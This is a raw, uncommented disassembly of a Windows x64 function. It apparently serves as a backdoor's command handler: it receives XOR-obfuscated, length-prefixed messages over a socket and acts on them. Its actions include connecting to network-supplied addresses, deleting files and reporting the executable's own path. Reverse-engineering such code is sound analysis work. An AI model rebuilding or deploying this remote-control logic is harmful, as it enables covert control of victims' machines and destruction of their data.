mov r15, 0xffffffffffffffff
mov r9d, r15d
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ebx, eax
xor edx, edx
mov r8d, 0x200
lea r12, [0x1400721b0]
mov rcx, r12
call fcn.1400385a0
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], r12
mov r9d, r15d
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 8
cmovae rcx, qword [rbp - 0x50]
mov rdx, r12
call fcn.14003ed74
mov qword [r13 + 8], rax
test rax, rax
jne 0x1400148b1
mov ebx, esi
mov edx, esi
nop dword [rax]
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x14001445b
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140014450
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x14001447b
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140014470
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x14001449b
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140014490
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x1400144bb
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1400144b0
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x1400144db
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1400144d0
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x1400144fb
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1400144f0
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x14001451b
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140014510
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x14001453b
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140014530
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x14001455b
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140014550
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x14001457b
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140014570
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x14001459b
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140014590
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x1400145bb
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1400145b0
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x1400145db
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1400145d0
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x1400145fb
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1400145f0
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x14001461b
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140014610
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x14001463b
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140014630
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x14001465b
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140014650
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x14001467b
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140014670
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x14001469b
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140014690
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x1400146bb
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1400146b0
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x1400146db
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1400146d0
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x1400146fb
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1400146f0
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x14001471b
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140014710
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x14001473b
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140014730
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x14001475b
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140014750
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x14001477b
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140014770
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x14001479b
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x140014790
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x1400147bb
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1400147b0
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x1400147db
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1400147d0
inc ebx
movsxd rcx, ebx
add rcx, r14
cmp byte [rcx], 0
je 0x1400147fb
nop dword [rax + rax]
inc ebx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x1400147f0
inc ebx
add edx, 0x1e
cmp edx, 0x1e
jl 0x140014440
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x58], 5
mov ecx, 5
call fcn.14001a3b4
mov qword [rbp - 0x60], rax
movsxd rdx, ebx
mov ecx, dword [rdx + r14]
mov dword [rax], ecx
movzx ecx, byte [rdx + r14 + 4]
mov byte [rax + 4], cl
mov r8d, recv
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x60]
call fcn.1400178d0
mov rdx, rax
lea rcx, [r13 + 0x80018]
call fcn.1400173a0
mov r12b, 1
mov rdx, qword [rbp - 0x38]
cmp rdx, 8
jb 0x14001489c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140014897
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015327
call fcn.14001a344
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], 7
mov word [rbp - 0x50], si
jmp 0x1400142cb
mov qword [rbp - 0x58], rsi
xor ecx, ecx
call fcn.14001a3b4
mov qword [rbp - 0x60], rax
mov r8d, 0xa
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x60]
call fcn.1400178d0
mov rdx, rax
lea rcx, [r13 + 0x80018]
call fcn.1400173a0
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 8
jb 0x140014923
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001491e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140015327
call fcn.14001a344
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], 7
mov word [rbp - 0x50], si
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb case.0x140013170.1
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015268
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400152be
jmp 0x140015268
xor esi, esi
mov dword [rsp + 0x40], esi
mov ebx, esi
mov r8d, 4
sub r8d, ebx
mov eax, ebx
lea rdx, [rsp + 0x40]
add rdx, rax
xor r9d, r9d
mov rcx, qword [r13 + 0x80090]
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x140014a23
add ebx, eax
cmp ebx, 4
jb 0x140014980
lea rbx, [0x1400723b0]
mov r15, 0xffffffffffffffff
inc r15
cmp byte [rbx + r15], sil
jne 0x1400149c1
test r15d, r15d
je 0x140014a13
movzx eax, byte [0x1400723b0]
xor byte [rsp + 0x40], al
mov eax, esi
cmp r15d, 1
setne al
mov ecx, eax
movzx eax, byte [rcx + rbx]
xor byte [rsp + 0x41], al
inc ecx
mov eax, esi
cmp ecx, r15d
cmovne eax, ecx
mov ecx, eax
movzx eax, byte [rax + rbx]
xor byte [rsp + 0x42], al
inc ecx
mov eax, esi
cmp ecx, r15d
cmovne eax, ecx
movzx eax, byte [rax + rbx]
xor byte [rsp + 0x43], al
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_ntohl]
mov dword [rsp + 0x40], eax
jmp 0x140014a2a
xor dil, dil
mov eax, dword [rsp + 0x40]
mov r8d, eax
lea rdx, [r13 + 0x14]
mov rcx, r13
call fcn.140012ed0
movzx edi, dil
test al, al
cmove edi, esi
mov dword [rsp + 0x30], edi
mov r8d, dword [rsp + 0x40]
mov r9, qword [r13 + 8]
mov edx, 1
lea rcx, [r13 + 0x14]
call fcn.1400413f0
jmp case.0x140013170.1
xor esi, esi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], send
mov byte [rsp + 0x48], sil
xor r8d, r8d
lea rdx, [0x140061ccf]
lea rcx, [rsp + 0x48]
call fcn.140015820
nop
lea rdx, [rsp + 0x48]
mov rcx, r13
call fcn.140012fa0
test al, al
jne 0x140014ab9
xor r12b, r12b
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140015272
mov rcx, qword [rsp + 0x48]
jmp 0x14001333f
mov rcx, qword [r13 + 8]
call fcn.14003ec44
mov qword [rbp - 0x58], rsi
xor ecx, ecx
call fcn.14001a3b4
mov qword [rbp - 0x60], rax
mov r8d, recv
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x60]
call fcn.1400178d0
mov rdx, rax
lea rcx, [r13 + 0x80018]
call fcn.1400173a0
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb case.0x140013170.1
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015268
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400152c4
jmp 0x140015268
xor esi, esi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], send
mov byte [rsp + 0x48], sil
xor r8d, r8d
lea rdx, [0x140061ccf]
lea rcx, [rsp + 0x48]
call fcn.140015820
nop
lea rdx, [rsp + 0x48]
mov rcx, r13
call fcn.140012fa0
test al, al
jne 0x140014bc1
xor r12b, r12b
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140015272
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013367
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400152ca
call fcn.14001a344
jmp 0x140015272
call fcn.14003de58
mov rdi, rax
lea rbx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rbx, qword [rsp + 0x48]
mov dword [rax], esi
mov r8d, 0xa
lea rdx, [rsp + 0x70]
mov rcx, rbx
call fcn.14003eb68
cmp rbx, qword [rsp + 0x70]
je 0x14001532d
cmp dword [rdi], 0x22
je 0x14001533a
mov dword [r13 + 0x10], eax
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb case.0x140013170.1
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015268
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400152ca
jmp 0x140015268
xor esi, esi
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], send
mov byte [rbp - 0x30], sil
xor r8d, r8d
lea rdx, [0x140061ccf]
lea rcx, [rbp - 0x30]
call fcn.140015820
nop
lea rdx, [rbp - 0x30]
mov rcx, r13
call fcn.140012fa0
movzx r12d, dil
test al, al
cmove r12d, esi
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x140015272
mov rcx, qword [rbp - 0x30]
jmp 0x14001333f
xor esi, esi
mov dword [rsp + 0x40], esi
mov ebx, esi
nop word [rax + rax]
mov r8d, 4
sub r8d, ebx
mov eax, ebx
lea rdx, [rsp + 0x40]
add rdx, rax
xor r9d, r9d
mov rcx, qword [r13 + 0x80090]
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x140014fbc
add ebx, eax
cmp ebx, 4
jb 0x140014cb0
lea rbx, [0x1400723b0]
mov r15, 0xffffffffffffffff
mov rdx, r15
inc rdx
cmp byte [rbx + rdx], sil
jne 0x140014cf4
test edx, edx
je 0x140014d42
movzx eax, byte [0x1400723b0]
xor byte [rsp + 0x40], al
mov eax, esi
cmp edx, 1
setne al
mov ecx, eax
movzx eax, byte [rcx + rbx]
xor byte [rsp + 0x41], al
inc ecx
mov eax, esi
cmp ecx, edx
cmovne eax, ecx
mov ecx, eax
movzx eax, byte [rax + rbx]
xor byte [rsp + 0x42], al
inc ecx
mov eax, esi
cmp ecx, edx
cmovne eax, ecx
movzx eax, byte [rax + rbx]
xor byte [rsp + 0x43], al
mov ecx, dword [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_ntohl]
mov dword [rsp + 0x40], eax
lea ecx, [rax + 1]
call fcn.14001a3b4
mov r12, rax
mov r8d, dword [rsp + 0x40]
inc r8d
xor edx, edx
mov rcx, rax
call fcn.1400385a0
mov r8d, dword [rsp + 0x40]
mov rdx, r12
mov rcx, r13
call fcn.140012ed0
test al, al
je 0x140014fbc
mov dword [rsp + 0x68], esi
mov edi, esi
nop dword [rax + rax]
mov r8d, 4
sub r8d, edi
mov eax, edi
lea rdx, [rsp + 0x68]
add rdx, rax
xor r9d, r9d
mov rcx, qword [r13 + 0x80090]
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x140014fbc
add edi, eax
cmp edi, 4
jb 0x140014d90
inc r15
cmp byte [rbx + r15], sil
jne 0x140014dc3
test r15d, r15d
je 0x140014e15
movzx eax, byte [0x1400723b0]
xor byte [rsp + 0x68], al
mov eax, esi
cmp r15d, 1
setne al
mov ecx, eax
movzx eax, byte [rcx + rbx]
xor byte [rsp + 0x69], al
inc ecx
mov eax, esi
cmp ecx, r15d
cmovne eax, ecx
mov ecx, eax
movzx eax, byte [rax + rbx]
xor byte [rsp + 0x6a], al
inc ecx
mov eax, esi
cmp ecx, r15d
cmovne eax, ecx
movzx eax, byte [rax + rbx]
xor byte [rsp + 0x6b], al
mov ecx, dword [rsp + 0x68]
call qword [sym.imp.WS2_32.dll_ntohl]
mov r14d, eax
mov dword [rsp + 0x68], eax
mov ecx, 0x202
lea rdx, [rbp - 0x10]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140014f67
lea edx, [rax + 1]
mov edi, 2
lea r8d, [rax + 6]
mov ecx, edi
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140014f61
mov word [rbp - 0x80], di
lea r8, [rbp - 0x7c]
mov rdx, r12
mov ecx, edi
call qword [sym.imp.WS2_32.dll_inet_pton]
cmp eax, 1
jne 0x140014f58
movzx ecx, r14w
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp - 0x7e], ax
mov dword [rbp - 0x60], 1
lea r8, [rbp - 0x60]
mov edx, 0x8004667e
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
jne 0x140014f58
lea r8d, [rdi + 0xe]
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140014ed0
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x140014f58
mov qword [rbp + 0x198], rbx
mov dword [rbp + 0x190], 1
mov qword [rsp + 0x70], 8
lea ecx, [rbx + 1]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, [rbp + 0x190]
xor edx, edx
call qword [sym.imp.WS2_32.dll_select]
inc eax
cmp eax, 1
jbe 0x140014f58
mov qword [rbp - 0x78], rsi
xor ecx, ecx
call fcn.14001a3b4
mov qword [rbp - 0x80], rax
mov r8d, reloc.WS2_32.dll_select
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x80]
call fcn.1400178d0
lea rcx, [r13 + 0x80018]
mov rdx, rax
call fcn.1400173a0
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, r12
call fcn.14001a344
jmp case.0x140013170.1
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov dword [rbp - 0x78], 1
mov ecx, 1
call fcn.14001a3b4
mov qword [rbp - 0x80], rax
movzx ecx, byte [0x140061ca0]
mov byte [rax], cl
mov r8d, reloc.WS2_32.dll_select
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x80]
call fcn.1400178d0
lea rcx, [r13 + 0x80018]
mov rdx, rax
call fcn.1400173a0
mov rcx, r12
call fcn.14001a344
jmp case.0x140013170.1
xor r12b, r12b
jmp 0x140015272
xor esi, esi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], send
mov byte [rsp + 0x48], sil
xor r8d, r8d
lea rdx, [0x140061ccf]
lea rcx, [rsp + 0x48]
call fcn.140015820
nop
lea rdx, [rsp + 0x48]
mov rcx, r13
call fcn.140012fa0
test al, al
jne 0x14001504c
xor r12b, r12b
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x140015272
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013367
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400152d0
call fcn.14001a344
jmp 0x140015272
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x50]
call fcn.140016930
nop
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 8
cmovae rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x140015094
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov dword [rbp - 0x78], 1
lea ecx, [rax + 1]
call fcn.14001a3b4
movzx ecx, byte [0x140061ca0]
mov byte [rax], cl
jmp 0x14001509f
mov qword [rbp - 0x78], rsi
xor ecx, ecx
call fcn.14001a3b4
mov qword [rbp - 0x80], rax
mov r8d, reloc.WS2_32.dll_send
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x80]
call fcn.1400178d0
mov rdx, rax
lea rcx, [r13 + 0x80018]
call fcn.1400173a0
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 8
jb 0x140015107
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015102
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400152a6
call fcn.14001a344
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], 7
mov word [rbp - 0x50], si
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb case.0x140013170.1
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140015268
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400152d0
jmp 0x140015268
xor esi, esi
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], send
mov byte [rsp + 0x48], sil
xor r8d, r8d
lea rdx, [0x140061ccf]
lea rcx, [rsp + 0x48]
call fcn.140015820
nop
lea rdx, [rsp + 0x48]
mov rcx, r13
call fcn.140012fa0
test al, al
jne 0x14001519f
xor r12b, r12b
jmp 0x140014aa0
mov rsi, qword [rsp + 0x48]
mov r14, qword [rsp + 0x60]
cmp qword [rsp + 0x58], 0
jne 0x14001523a
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp - 0x10]
call fcn.1400385a0
mov r8d, 0x104
lea rdx, [rbp - 0x10]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rbp - 0x10]
mov r15, 0xffffffffffffffff
inc r15
cmp byte [rax + r15], 0
jne 0x1400151e3
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov dword [rbp - 0x78], r15d
movsxd rbx, r15d
mov rcx, rbx
call fcn.14001a3b4
mov qword [rbp - 0x80], rax
mov r8, rbx
lea rdx, [rbp - 0x10]
mov rcx, rax
call fcn.140038190
mov r8d, 2
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x80]
call fcn.1400178d0
mov rdx, rax
lea rcx, [r13 + 0x80018]
call fcn.1400173a0
nop
cmp r14, 0x10
jb case.0x140013170.1
lea rdx, [r14 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140015265
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400152c4
mov rcx, rsi
call fcn.14001a344
mov r12d, dword [rsp + 0x30]
movzx eax, r12b
mov rcx, qword [rbp + 0x1190]
xor rcx, rsp
call fcn.14001a320
lea r11, [rsp + 0x12a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14003af50
nop
call fcn.14003af50
int3
call fcn.14003af50
int3
call fcn.14003af50
int3
call fcn.14003af50
int3
call fcn.14003af50
int3
call fcn.14003af50
int3
call fcn.14003af50
nop
call fcn.140015a10
nop
call fcn.14003af50
nop
call fcn.14003af50
nop
call fcn.14003af50
nop
call fcn.14003af50
nop
call fcn.14003af50
nop
call fcn.14003af50
nop
mov dword [rbp - 0x58], esi
mov ecx, 6
call fcn.1400191ec
nop
mov ecx, 1
call fcn.1400191ec
int3
mov ecx, eax
call fcn.1400191b0
nop
call fcn.14003af50
nop
call fcn.14003af50
nop
lea rcx, str.invalid_stoi_argument
call fcn.1400186f8
int3
lea rcx, str.stoi_argument_out_of_range
call fcn.140018740
int3